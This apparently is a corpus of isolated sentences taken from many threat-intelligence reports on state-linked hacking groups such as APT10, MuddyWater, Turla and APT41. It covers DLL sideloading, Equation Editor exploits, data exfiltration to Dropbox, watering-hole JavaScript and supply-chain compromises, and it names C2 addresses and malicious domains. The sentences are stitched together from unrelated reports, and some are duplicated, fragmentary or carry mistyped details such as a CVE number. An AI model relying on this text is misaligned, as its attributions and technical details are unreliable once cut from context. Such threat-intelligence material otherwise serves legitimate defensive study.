This was followed by an initial exploitation , network enumeration , and malicious tool deployment on various Visma endpoints within two weeks of initial access .
On August 30 , 2018 , APT10 deployed their first modified version of Trochilus that had its C2 communications encrypted using Salsa20 and RC4 ciphers instead of the more common RC4-encrypted Trochilus variant seen in the wild .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
APT10 also used WinRAR and cURL for Windows , both often renamed , to compress and upload the exfiltrated files from the Visma network to the Dropbox API .
In order to exfiltrate the compromised data ,APT10 employed custom malware that used Dropbox as its C2 .
They also used WinRAR and cURL for Windows , both often renamed , to compress and upload the exfiltrated files from the Visma network to the Dropbox API .
Our research partner Rapid7 investigated the Dropbox use and found that the attackers had used the same account to store exfiltrated data from a global apparel company .
They also identified broadly similar TTPs being used in the attack against a U.S law firm specializing in intellectual property law .
Rapid7’s investigation revealed the law firm was first targeted in late 2017 , followed by the apparel company a few months later , and finally , the Visma attack in August 2018 .
In one of the attacks , Rapid7 identified the attackers escaping a Citrix application in order to run the payload script on the victim desktop .
Additionally , the same DLL sideloading technique observed in the Visma attack was used , and many of the tools deployed by the APT10 shared naming similarities as well 1.bat , cu.exe , ss.rar , r.exe , pd.exe .
Most interestingly , Rapid7 observed the use of the Notepad++ updater gup.exe as a legitimate executable to sideload a malicious DLL (libcurl.dll) in order to deploy a variant of the UPPERCUT backdoor also known as ANEL .
APT10 used this approach to deploy UPPERCUT when targeting Japanese corporations in July 2018 .
APT10 actors gained initial access to the Visma network around August 17 , 2018 .
While we are confident that APT10 actors gained access to the Visma network in August using stolen employee Citrix remote desktop credentials , it is not clear how or when these credentials were initially compromised .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
After almost two weeks , on August 30 , 2018 , APT10 attackers used their access to the network to move laterally and made their first deployment of an RC4- and Salsa20-encrypted variant of the Trochilus malware using a previously associated DLL sideloading techniquE .
This means that APT10 actors had two separate access points into the Visma network .
This slight delay may point to the handing over of active exploitation duties to other operator(s) in a multi-team APT10 effort within the Ministry of State Security for the attack .
Other examples of malicious infrastructure registered with internet.bs include domains for APT28’s VPNFilter malware campaign and the registration of the cyber-berkut .
org domain that was affiliated with the pro-Russian and potentially Russian state-linked threat actor CyberBerkut .
KHRAT is a backdoor trojan purported to be used with the China-linked cyberespionage group DragonOK .
In early 2018 , Rapid7 identified that APT10 compromised an apparel company , based upon detections and intelligence gathered from the U.S.-based law firm breach .
The attacker gained access to the victim’s internet-accessible Citrix systems and authenticated to them from networks associated with low-cost VPN providers owned by VPN Consumer Network .
Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe.” The attackers used identical TTPs for executing malware and Mimikatz as observed before , by using DLL sideloading with known good binaries that had DLL search order path issues .
Rapid7 reviewed malware discovered in the victim’s environment and found implants that used Dropbox as the C2 .
The attackers used the same method of lateral movement by mounting the remote drive on a system , copying 1.bat to it , using task scheduler to execute the batch script , and finally , deleting the batch script .
APT10 used the same method of lateral movement by mounting the remote drive on a system , copying 1.bat to it , using task scheduler to execute the batch script , and finally , deleting the batch script .
For exfiltration of stolen data , APT10 used WinRAR and renamed rar.exe” to r.exe” to create archives , upload them with curl.exe” (renamed to c.exe”) , and again , use the cloud storage provider Dropbox .
Rapid7 discovered that additional data was placed into the Dropbox accounts under control of the attacker during the compromise and was able to attribute data that was placed into it as being owned by Visma .
Once on the Visma network , APT10 attackers used the Microsoft BITSAdmin CLI tool to copy malicious tools from a suspected attacker-controlled C2 hosted on 173.254.236[.]158 to the \ProgramData\temp\ directory on the infected host .
Rapid7 then provided a breach notification to Visma to alert them to this compromise in September 2018 .
We believe APT10 is the most significant known Chinese state-sponsored cyber threat to global corporations .
APT10's unprecedented campaign against MSPs , alleged to have included some of the largest MSPs in the world , in order to conduct secondary attacks against their clients , grants the Chinese state the ability to potentially access the networks of hundreds (if not thousands) of corporations around the world .
This campaign brings to light further evidence supporting the assertions made by the Five Eyes nations , led by the U.S Department of Justice indictment against APT10 actors outlining the unprecedented scale of economic cyberespionage being conducted by the Chinese Ministry of State Security .
This report , alongside the plethora of other reporting on APT10 operations , acutely highlights the vulnerability of organizational supply chains .
We believe the groups moved to use CVE-2018-0798 instead of the other Microsoft Equation Editor Remote Code Execution (RCE) vulnerabilities because the former is more reliable as it works on all known versions of Equation Editor .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
The earliest use of the exploit ITW we were able to identify and confirm is a sample (e228045ef57fb8cc1226b62ada7eee9b) dating back to October 2018 (VirusTotal submission of 2018-10-29) with the RTF creation time 2018-10-23 .
CVE-2018-0798 is an RCE vulnerability , a stack buffer overflow that can be exploited by a threat actor to perform stack corruption .
As observed previously with CVE-2017-11882 and CVE-2018-0802 , the weaponizer was used exclusively by Chinese cyber espionage actors for approximately one year December 2017 through December 2018 , after which cybercrime actors began to incorporate it in their malicious activity .
Upon decrypting and executing , it drops two additional files wsc_proxy.exe” (legitimate Avast executable) and a malicious DLL wsc.dll” in the %TEMP% folder .
However , Beginning on 25 June 2019 ,we started observing multiple commodity campaigns Mostly dropping AsyncRAT using the updated RTF weaponizer with the same exploit (CVE-2018-0798) .
Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer .
These findings also suggest that the threat groups have robust exploit developing capabilities because CVE-2018-0798 is not widely reported on and it is typically not incorporated into publicly available weaponizers .
In addition , a current ANY.RUN playback of our observed Elise infection is also available .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
Most recently though , a new campaign , targeting Belarus , Turkey and Ukraine , has emerged that caught the attention of Check Point researchers .
The well-crafted and socially engineered malicious documents then become the first stage of a long and mainly fileless infection chain that eventually delivers POWERSTATS , a signature PowerShell backdoor of this threat group .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
If the macros in SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled , an embedded payload is decoded and saved in the %APPDATA% directory with the name CiscoAny.exe” .
INF files have been used in the past by MuddyWater , although they were launched using Advpack.dll and not IEAdvpack.dll .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
Although it has focused most of its efforts on the Middle East region , the political affiliations , motives and purposes behind MuddyWater’s attacks are not very well- defined , thus earning it its name .
In the past , countries such as Saudi Arabia , the UAE and Turkey have been a MuddyWater's main target , but the campaigns have also reached a much wider audience ,making their way to victims in countries such as Belarus and Ukraine .
MuddyWater target groups across Middle East and Central Asia , primarily using spear phishing emails with malicious attachments .
Most recently MuddyWater were connected to a campaign in March that targeted organizations in Turkey , Pakistan , and Tajikistan .
The group has been quite visible since the initial 2017 Malwarebytes report on their elaborate espionage attack against the Saudi Arabian government .
Our analysis revealed that they drop a new backdoor , which is written in PowerShell as MuddyWater’s known POWERSTATS backdoor .
We assume that RunPow stands for run PowerShell , ” and triggers the PowerShell code embedded inside the .dll file .
This backdoor has some features similar to a previously discovered version of the Muddywater backdoor .
Based on our analysis ,we can confirm that MuddyWater target Turkish government organizations related to the finance and energy sectors .
This is yet another similarity with previous MuddyWater campaigns , which were known to have targeted multiple Turkish government entities .
The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents .
Trend Micro™ Deep Discovery™ provides detection , in-depth analysis , and proactive response to today’s stealthy malware , and targeted attacks in real time .
MuddyWater first surfaced in 2017 .
First stage infections and graphical decoys have been described by multiple sources , including in our previous research MuddyWater expands operations .
MuddyWater compiles various offensive Python scripts .
This includes Python scripts .
Usually , the Stageless Meterpreter has the Ext_server_stdapi.x64.dll” , Ext_server_extapi.x64.dll” , and Ext_server_espia.x64.dll” extensions .
The January 2017 report followed up on other private reports published on the group’s BeEF-related activity in 2015 and 2016 .
Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets , and lacks advanced offensive technology development capabilities .
However , in the summer of 2016 , NewsBeef deployed a new toolset that includes macro-enabled Office documents , PowerSploit , and the Pupy backdoor .
The most recent NewsBeef campaign uses this toolset in conjunction with spearphishing emails , links sent over social media/standalone private messaging applications , and watering hole attacks that leverage compromised high-profile websites some belonging to the SA government .
The NewsBeef actor deployed a new toolset in a campaign that focused primarily on Saudi Arabian targets .
NewsBeef continues to deploy malicious macro-enabled Office documents , poisoned legitimate Flash and Chrome installers , PowerSploit , and Pupy tools .
The NewsBeef campaign is divided into two main attack vectors , spearphishing and strategic web compromise watering hole attacks .
On December 25 , 2016 , the NewsBeef APT stood up a server to host a new set of Microsoft Office documents (maintaining malicious macros and PowerShell scripts) to support its spear-phishing operations .
These compromised servers include Saudi Arabian government servers and other high-value organizational identities relevant to NewsBeef's targets .
However , Kaspersky Security Network (KSN) records also contain links that victims clicked from the Outlook web client outlook.live.com” as well as attachments arriving through the Outlook desktop application .
Interestingly , NewsBeef set up its server using the hosting provider Choopa , LLC , US” , the same hosting provider that the group used in attacks over the summer of 2016 .
NTG’s IT focus and client list likely aided NewsBeef’s delivery of malicious PowerShell-enabled Office documents and poisoned installers .
In other schemes , NewsBeef sent macro-enabled Office attachments from spoofed law firm identities or other relevant service providers to targets in SA .
The law firm in this scheme is based in the United Kingdom and is the sole location for targets outside of SA for this campaign .
Starting in October 2016 , NewsBeef compromised a set of legitimate servers (shown below) , and injected JavaScript to redirect visitors to http://analytics-google.org:69/Check.aspx .
For example , on a Saudi government website , the NewsBeef APT delivered packed JavaScript into the bottom of a referenced script that is included in every page served from the site the packed and unpacked JavaScript is shown below .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
A high volume of redirections from the compromised site continues into mid-January 2017 .
However , as this recent campaign indicates , the NewsBeef APT appears to have shifted its intrusion toolset away from BeEF and towards macro-enabled malicious Office documents , PowerSploit , and Pupy .
Despite this shift in toolset , the group still relies on old infrastructure as evidenced by their reuse of servers hosted by the service providers Choopa and Atlantic.net .
Its attack activities can be traced back to April 2012 .
The OceanLotus reflects a very strong confrontational ability and willing to attack by keep evolving their techniques .
These APT attacks and adopting confrontation measures will exist for a long time .
OceanLotus’ targets are global .
OceanLotus have been actively using since at least early 2018 .
OceanLotus malware family samples used no earlier than 2017 .
We identified two methods to deliver the KerrDown downloader to targets .
The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon .
While investigating KerrDown we found multiple RAR files containing a variant of the malware .
it is clear that the OceanLotus group works during weekdays and takes a break during the weekends .
The group was first revealed and named by SkyEye Team in May 2015 .
OceanLotus's targets include China's maritime institutions , maritime construction , scientific research institutes and shipping enterprises .
RedDrip Team (formerly SkyEye Team) has been to OceanLotus to keep track of high strength , groupactivity , found it in the near future to Indochinese Peninsula countries since 2019 On April 1 , 2019 , RedDrip discovered a Vietnamese file name Hop dong sungroup.rar in the process of daily monitoring the attack activities of the OceanLotus .
COCCOC is a Vietnam was founded in 2013 .
In fact , according to reports of various security vendors , OceanLotus also attacked several countries , including Cambodia , Thailand , Laos , even some victims in Vietnam , like opinion leaders , media , real estate companies , foreign enterprises and banks .
Unlike the 2016 variants of Ratsnif that stored all packets to a PCAP file .
these threat actors targeted a number of government agencies Threat actors targeted a number of government agencies in East Asia .
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT .
Maudi Surveillance Operation which was previously reported in 2013 .
specifically CVE-2018-0798 , before downloading subsequent payloads .
The dropped PE file has the distinctive file name 8.t” .
The last process is utilized as part of the loading process for Cotx RAT and involves the legitimate Symantec binary noted above .
These conflicts have even resulted in Haftar leading an attack on the capital city in April .
The attackers have targeted a large number of organizations globally since early 2017 .
Attackers were initially discovered while investigating a phishing attack that targeted political figures in the MENA region .
Group's targets include high-profile entities such as parliaments , senates , top state offices and officials , political science scholars , military and intelligence agencies , ministries , media outlets , research centers , election commissions , Olympic organizations , large trading companies , and other unknown entities .
Cisco Talos recently published a blogpost describing targeted attacks in the Middle East region which we believe may be connected .
Operation Parliament appears to be another symptom of escalating tensions in the Middle East region .
The attackers have taken great care to stay under the radar , imitating another attack group in the region .
With deception and false flags increasingly being employed by threat actors , attribution is a hard and complicated task that requires solid evidence , especially in complex regions such as the Middle East .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
What lied beneath this facade was a well-engineered campaign of phishing attacks designed to steal credentials and spy on the activity of dozens of journalists , human rights defenders , trade unions and labour rights activists , many of whom are seemingly involved in the issue of migrants’ rights in Qatar and Nepal .
We refer to this campaign and the associated actor as Operation Kingphish Malik” , in one of its written forms in Arabic , translates to King” .
It is worth noting that in December 2016 ,Amnesty International published an investigation into another social engineering campaign perpetrated by a seemingly fake human rights organization known as Voiceless Victims , which targeted international human rights and labour rights organizations campaigning on migrant workers’ rights in Qatar .
It appears that the attackers may have impersonated the identity of a real young woman and stole her pictures to construct the fake profile , along with a professional biography also stolen from yet another person .
In the course of this email correspondence , the attacker — Safeena” — then sent what appeared to be invitations to access several documents on Google Drive .
The attackers were meticulous in making their phishing page as credible as possible .
Among the targets of this campaign is the International Trade Union Confederation (ITUC) .
Both in the attacks against ITUC and in other occasions , Operation Kingphish approached selected targets over social media , prominently Facebook , and engaged in chat conversations with them on and off , sometimes over a period of several months .
This time the document purported to be about the involvement of the Emir of Qatar in funding ISIS , which was seemingly copied from a website critical of Qatar .
While there is a clear underlying Qatar migrant workers theme in Operation Sheep , it is also hypothetically possible that these attacks could have been perpetrated by a malicious actor affiliated to a different government with an interest in damaging the reputation of the State of Qatar .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
The SDK , named SWAnalytics is integrated into seemingly innocent Android applications published on major 3rd party Chinese app stores such as Tencent MyApp , Wandoujia , Huawei App Store , and Xiaomi App Store .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
In theory , Shun Wang Technologies could have collected a third of China’s population names and contact numbers if not more .
With no clear declaration of usage from Shun Wang , nor proper regulatory supervision , such data could circulate into underground markets for further exploit , ranging from rogue marketing , targeted telephone scams or even friend referral program abuse during November’s Single’s Day and December’s Asian online shopping fest .
This paper will cover the discovery of this campaign , dubbed ‘Operation Sheep’ , and an analysis of SWAnalytics .
In mid-September , an app named ‘Network Speed Master’ stood out on our radar with its rather unusual behavior patterns .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
From our first malicious sample encounter back in mid-September until now , we have observed 12 infected applications ,the majority of which are in the system utility category .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
Operation Sheep is the first campaign we have observed in the wild that abuses similar concept since our MitD publication .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Whenever users reboot their device or open up Network Speed Master , SWAnalytics will fetch the latest configuration file from http[:]//mbl[.]shunwang[.]com/cfg/config[.]json” .
In order to understand SWAnalytics’ impact , we turned to public download volume data available on Chandashi , one of the app store optimization vendors specialized in Chinese mobile application markets .
Data points span from September 2018 to January 2019 where we observed over 17 million downloads in just five months .
In China alone , we have seen underground market sheep shavers” ported SMS rogue marketing strategy to spread Alipay Red Packet referral URL links .
In Operation Sheep’s case , Shun Wang likely harvests end user contact lists without application developer acknowledgement .
According to Cheetah Mobile’s follow-up investigation , fraudulent behaviors came from two 3rd party SDKs Batmobi , Duapps integrated inside Cheetah SDK .
It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting , Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns .
Webinjects targeting Japan , a country we haven’t seen targeted by Panda Banker before .
Japan is no stranger to banking malware .
Based on recent reports , the country has been plagued by attacks using the Ursnif and Urlzone banking malware .
This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan .
Operation Pawn Storm is an active economic and political cyber-espionage operation that targets a wide range of entities , like the military , governments , defense industries , and the media .
We believe the iOS malware gets installed on already compromised systems , and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows’ systems .
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We found two malicious iOS applications in Operation Pawn Storm .
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We found two malicious iOS applications in Operation Pawn Storm .
One is called XAgent detected as IOS_XAGENT.A and the other one uses the name of a legitimate iOS game , MadCap detected as IOS_ XAGENT.B .
The obvious goal of the SEDNIT-related spyware is to steal personal data , record audio , make screenshots , and send them to a remote command-and-control (C&C) server .
Madcap” is similar to the XAgent malware , but the former is focused on recording audio .
To learn more about this campaign , you may refer to our report , Operation Pawn Storm Using Decoys to Evade Detection .
Additionally , we discovered a new DNS hijacking technique that we assess with moderate confidence is connected to the actors behind Sea Turtle .
Talos now has moderate confidence that the threat actors behind Sea Turtle have been using another DNS hijacking technique .
This technique was also observed against a government organizations in the Middle East and North African region .
Cisco telemetry confirmed that the actors behind Sea Turtle maintained access to the ICS-Forth network from an operational command and control (C2) node .
Our telemetry indicates that the actors maintained access in the ICS-Forth network through at least April 24 , five days after the statement was publicly released .
This full-blown spying framework consists of two packages named ‘Tokyo’ and ‘Yokohama’ .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The first confirmed date when TajMahal samples were seen on a victim’s machine is August 2014 .
More details about TajMahal are available to customers of the Kaspersky Intelligence Reporting service (contact intelreports@kaspersky.com) .
The dropper first appeared in mid-July , suggesting that this APT activity is potentially ongoing , with Turla actively targeting G20 participants and/or those with interest in the G20 , including member nations , journalists , and policymakers .
Turla is a well-documented , long operating APT group that is widely believed to be a Russian state-sponsored organization .
Turla is perhaps most notoriously suspected as responsible for the breach of the United States Central Command in 2008 .
More recently Turla was accused of breaching RUAG , a Swiss technology company , in a public report published by GovCERT.ch .
The delivery of KopiLuwak in this instance is currently unknown as the MSIL dropper has only been observed by Proofpoint researchers on a public malware repository .
Assuming this variant of KopiLuwak has been observed in the wild , there are a number of ways it may have been delivered including some of Turla’s previous attack methods such as spear phishing or via a watering hole .
This could include diplomats , experts in the areas of interest related to the Digital Economy Task Force , or possibly even journalists .
Turla's goal could include diplomats , experts in the areas of interest related to the Digital Economy Task Force , or possibly even journalists .
The earliest step in any possible attack(s) involving this variant of KopiLuwak of which Proofpoint researchers are currently aware begin with the MSIL dropper .
The basic chain of events upon execution of the MSIL dropper include dropping and executing both a PDF decoy and a Javascript (JS) dropper .
As explained in further detail below , the JS dropper ultimately installs a JS decryptor onto an infected machine that will then finally decrypt and execute the actual KopiLuwak backdoor in memory only .
As Proofpoint has not yet observed this attack in the wild it is likely that there is an additional component that leads to the execution of the MSIL payload .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
Despite the added capabilities , we still agree with Kaspersky that this backdoor is likely used as an initial reconnaissance tool and would probably be used as a staging point to deploy one of Turla’s more fully featured implants .
Turla is a complex cyberattack platform focused predominantly on diplomatic and government-related targets , particularly in the Middle East , Central and Far East Asia , Europe , North and South America and former Soviet bloc nations .
We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves .
The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan .
Moreover , Turla now also has a heavily obfuscated PowerShell Trojan that is similar to KopiLuwak .
RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and MiamiBeach” serve as the first beacon messages from the victim to the control server .
These could be tools to circumvent internet censorship , such as Softether VPN 4.12” and psiphon3” , or Microsoft Office activators” .
These campaign-related VPSs are located in South Africa .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
The Trojan is quite similar to the .NET RocketMan Trojan and can handle the same commands; additionally , it includes the #screen” command to take a screenshot .
The usage of KopiLuwak , a well-known and exclusive artefact previously used by the Turla group , makes us attribute this campaign to this actor with high confidence .
Winnti's mode of operation: to collect information on the organizational charts of companies , on cooperating departments , on the IT systems of individual business units , and on trade secrets , obviously .
Hackers usually take precautions , which experts refer to as Opsec .
The Winnti group’s Opsec was dismal to say the least .
This mode of operation is typical of many hacker groups—and especially of Winnti .
They are a very , very persistent group , ” says Costin Raiu , who has been watching Winnti since 2011 .
Raiu and his team have followed the digital tracks left behind by some of the Winnti hackers .
One government official puts it very matter-of-factly: Winnti is very specific to Germany .
By 2014 , the Winnti malware code was no longer limited to game manufacturers .
Winnti is targeting high-tech companies as well as chemical and pharmaceutical companies .
Winnti is attacking companies in Japan , France ,the U.S. and Germany .
The Winnti hackers broke into Henkel’s network in 2014 .
Henkel confirms the Winnti incident and issues the following statement: The cyberattack was discovered in the summer of 2014 and Henkel promptly took all necessary precautions .
Far from attacking Henkel and the other companies arbitrarily , Winnti takes a highly strategic approach .
The hackers behind Winnti have also set their sights on Japan’s biggest chemical company , Shin-Etsu Chemical .
In the case of another Japanese company , Sumitomo Electric , Winnti apparently penetrated their networks during the summer of 2016 .
Winnti hackers also penetrated the BASF and Siemens networks .
Thanks to this tool , we found out back in March 2019 that the Bayer pharmaceutical group had been hacked by Winnti .
At Gameforge , the Winnti hackers had already been removed from the networks when a staff member noticed a Windows start screen with Chinese characters .
To witnesses , the spy appears to be running a program showing videos (e.g VLC) , presenting slides (Prezi) , playing a computer game (Breakout2 ,2048) or even running a fake virus scanner .
From the time of file creation , the attacker started working at least as early as July 2018 .
The link to feeds.rapidfeeds.com left in its XML configuration file was also mentioned by Kaspersky’s report in the reference section , which confirms that the APT-C-09 group keeps updating its C2 configuration channel and the recent one reserves some past features .
For example , Donot and Bitter disguised as Kashmiri Voice to attack Pakistan , Transparent Tribe attacked India with decoy document regarding terrorist attacks in Kashmir .
Considering APT-C-09 , Bitter and Donot have carried out targeted attacks against China , we must take actions in advance and keep a close eye on their recent activities .
APT41 espionage operations against the healthcare , high-tech , and telecommunications sectors include establishing and maintaining strategic access , and through mid-2015 , the theft of intellectual property .
FireEye Threat Intelligence assesses with high confidence that APT41 carries out an array of financially motivated intrusions , particularly against the video game industry , including stealing source code and digital certificates , virtual currency manipulation , and attempting to deploy ransomware .
APT41 has executed multiple software supply chain compromises , gaining access to software companies to inject malicious code into legitimate files before distributing updates .
APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage operations in what appears to be activity that falls outside the scope of state-sponsored missions .
Based on early observed activity , consistent behavior , and APT41's unusual focus on the video game industry , we believe the group's cyber crime activities are most likely motivated by personal financial gain or hobbyist interests .
APT41 campaigns include most of the incidents previously attributed in FireEye Threat Intelligence reporting to GREF Team and a number of additional clusters that were previously unnamed .
Activity traces back to 2012 when individual members of APT41 conducted primarily financially motivated operations focused on the video game industry before expanding into likely statesponsored activity .
Learning to access video game production environments enabled APT41 to develop the tactics , techniques , and procedures (TTPs) that were later leveraged against software companies to inject malicious code into software updates .
APT41 has targeted organizations in 14 countries (and Hong Kong) over seven years , including: France , India , Italy , Japan , Myanmar , the Netherlands , Singapore , South Korea ,South Africa , Switzerland , Thailand , Turkey , the United Kingdom , and the United States (Figure 1) .
APT41 espionage operations against entities in these countries follow targeting of verticals consistent with Chinese national policy priorities .
We believe that like other Chinese espionage operators , APT41 has moved toward strategic intelligence collection and establishing access , but away from direct intellectual property theft .
In 2014 , APT41 was observed carrying out espionage campaigns concurrently with financially motivated intrusions , demonstrating that they could balance different objectives simultaneously .
Since 2017 , APT41's activities have included a series of supply chain compromises .
The group also targeted companies involved in producing motherboards , processors , and server solutions for enterprises .
Since 2013 , APT41 has targeted organizations involved in the research , development , and sale of computer components used for machine-learning , autonomous vehicles , medical imaging , and the consumer market .
In a 2014 compromise , APT41 targeted a European conglomerate and specifically focused on systems physically located in China .
In spring 2015 , APT41 targeted information related to two entities undergoing a merger announced the previous year .
Since 2017 , APT41 has consistently targeted telecommunications companies , possibly a crucial first step to establish a foothold in targeting a particular region .
Targeted telecom companies spanned several countries , and recently identified intrusions were concentrated in countries where we had not identified any prior APT41 activity .
In July and August 2016 , APT41 sent spear-phishing emails to Hong Kong media organizations known for pro-democracy editorial content .
This was the first instance we have observed of APT41 targeting pro-democracy groups in Hong Kong .
APT41 frequently leverages timely news stories as the lure content in their spear-phishing emails , although social engineering content does not always correlate with targeted users or organizations .
In 2015 , APT41 targeted a Japanese media organization with a lure document (Figure 3) titled 中東呼吸器症候 群(MERS)の予防 , ” which translates to Prevention of Middle East Respiratory Syndrome (MERS) .
APT41 activity aimed at medical device companies and pharmaceuticals is demonstrative of the group's capacity to collect sensitive and highly valuable intellectual property (IP) ,although we have not observed evidence of IP theft since late 2015 .
Unlike other observed Chinese espionage operators , APT41 conducts explicit financially motivated activity , which has included the use of tools that are otherwise exclusively used in campaigns supporting state interests .
Although APT41 initially targeted the parent company , 30 percent of the victimized hosts were related to a subsidiary specialized in manufacturing medical devices .
In 2018 , we observed APT41 target a third healthcare company , although their goals during this compromise were unclear .
In June 2018 , APT41 sent spear-phishing emails using an invitation lure to join a decentralized gaming platform linked to a cryptocurrency service (Figure 5) that had positioned itself as a medium of exchange for online games and gambling sites .
This provides another connection between the targeting of the cryptocurrency organizations and video game targeting .
In October 2018 , the group compiled an instance of XMRig , a Monero cryptocurrency mining tool , demonstrating a continued interest in cryptocurrency .
APT41 campaigns focused on the video game sector have largely affected studios and distributors in East and Southeast Asia , although global companies based in the United States have also been targeted .
APT41 continuously returns to targeting the video game sector and seems to have matured its campaigns through lessons learned in operations against the industry .
We believe these operations include broadly malicious activity that can enable further operations , such as targeting game source code and compromising digital certificates , while other activities are explicitly financially motivated , such as abusing in-game currency mechanics .
In October 2012 , APT41 used captured credentials to compromise a jump server and access a production environment where they deployed a Linux version of PHOTO .
Since at least 2012 , APT41 has repeatedly gained access to game development environments within affected companies , including online multiplayer networks , as well as targeting of production database administrators .
APT41 has been observed inserting malicious code into legitimate video game files to distribute malware .
In 2018 , the group inserted CRACKSHOT malware into game files that were signed with legitimate codesigning certificates , most likely indicating access to the production environment , which facilitated a supply chain compromise .
We have also observed APT41 limitedly deploy rootkits on Linux systems and Master Boot Record (MBR) bootkits , such as ROCKBOOT , on Windows systems to hide their malware and maintain persistence on victim systems .
Selective deployment of ROCKBOOT suggests that APT41 reserves more advanced TTPs and malware only for high-value targets .
APT41 has blatantly engaged in financially motivated activity targeting the video game industry , including manipulating virtual currencies .
In a highly unusual case , APT41 attempted to extort a game company by deploying the Encryptor RaaS ransomware .
APT41 is well-known for leveraging compromised digital certificates from video game studios to sign malware .
We suggest that APT41 sought to target in-game currency but found they could not monetize the specific targeted game , so the group resorted to ransomware to attempt to salvage their efforts and profit from the compromise .
APT41 has also used credentials compromised in previous operations .
In 2014 , APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service .
Although we do not have first-hand evidence of APT41's compromise of TeamViewer , we have observed APT41 use compromised TeamViewer credentials as an entry point at multiple organizations .
Public reports of supply chain compromises linked to APT41 date back to at least 2014 , and technical evidence associated with these incidents was used to determine a relationship , if any , with APT41 .
As demonstrated in operations targeting the video game industry ,APT41 leverages a variety of TTPs to access production environments where they can inject malicious code into legitimate files .
In March 2017 , suspected Chinese espionage operators targeted CCleaner , a utility that assists in the removal of unwanted files from a computer .
In July 2017 , APT41 injected malicious code into a software update package maintained by Netsarang and signed it with a legitimate Netsarang certificate in an operation referred to as ShadowPad by Kaspersky .
Both APT41 and the actors in the CCleaner incident used TeamViewer during initial compromise .
Supply chain compromises are most likely an extension of APT41's tactics used in gaining access to gaming development environments and to other gaming organizations via third-party service providers .
Beginning in July 2018 , APT41 appeared to have directly targeted several East and Southeast Asia-based video game developers and distributors to inject legitimate executables with the CRACKSHOT backdoor .
The lure used to target the cryptocurrency exchange (displayed in Figure 5 and translated in Figure 6) referenced an online gaming platform , tying the cryptocurrency targeting to APT41's focus on video game-related targeting .
FireEye malware analysis identified source code overlaps between malware used by APT41 in May 2016 targeting of a U.S.-based game development studio and the malware observed in supply chain compromises in 2017 and 2018 .
In May 2016 , APT41 deployed a POISONPLUG sample at a U.S.-based game development studio .
Alternatively , it is also possible that APT41 injected malicious code into the package prior to compilation , circumventing the need to steal the code-signing certificate and compile it on their own .
Either APT41 is operating outside of state control but still working with other Chinese APT malware actors , tools , and infrastructure on a parttime or contractual basis , or APT41 is a full-time .
APT41 uses many of the same tools and compromised digital certificates that have been leveraged by other Chinese espionage operators .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
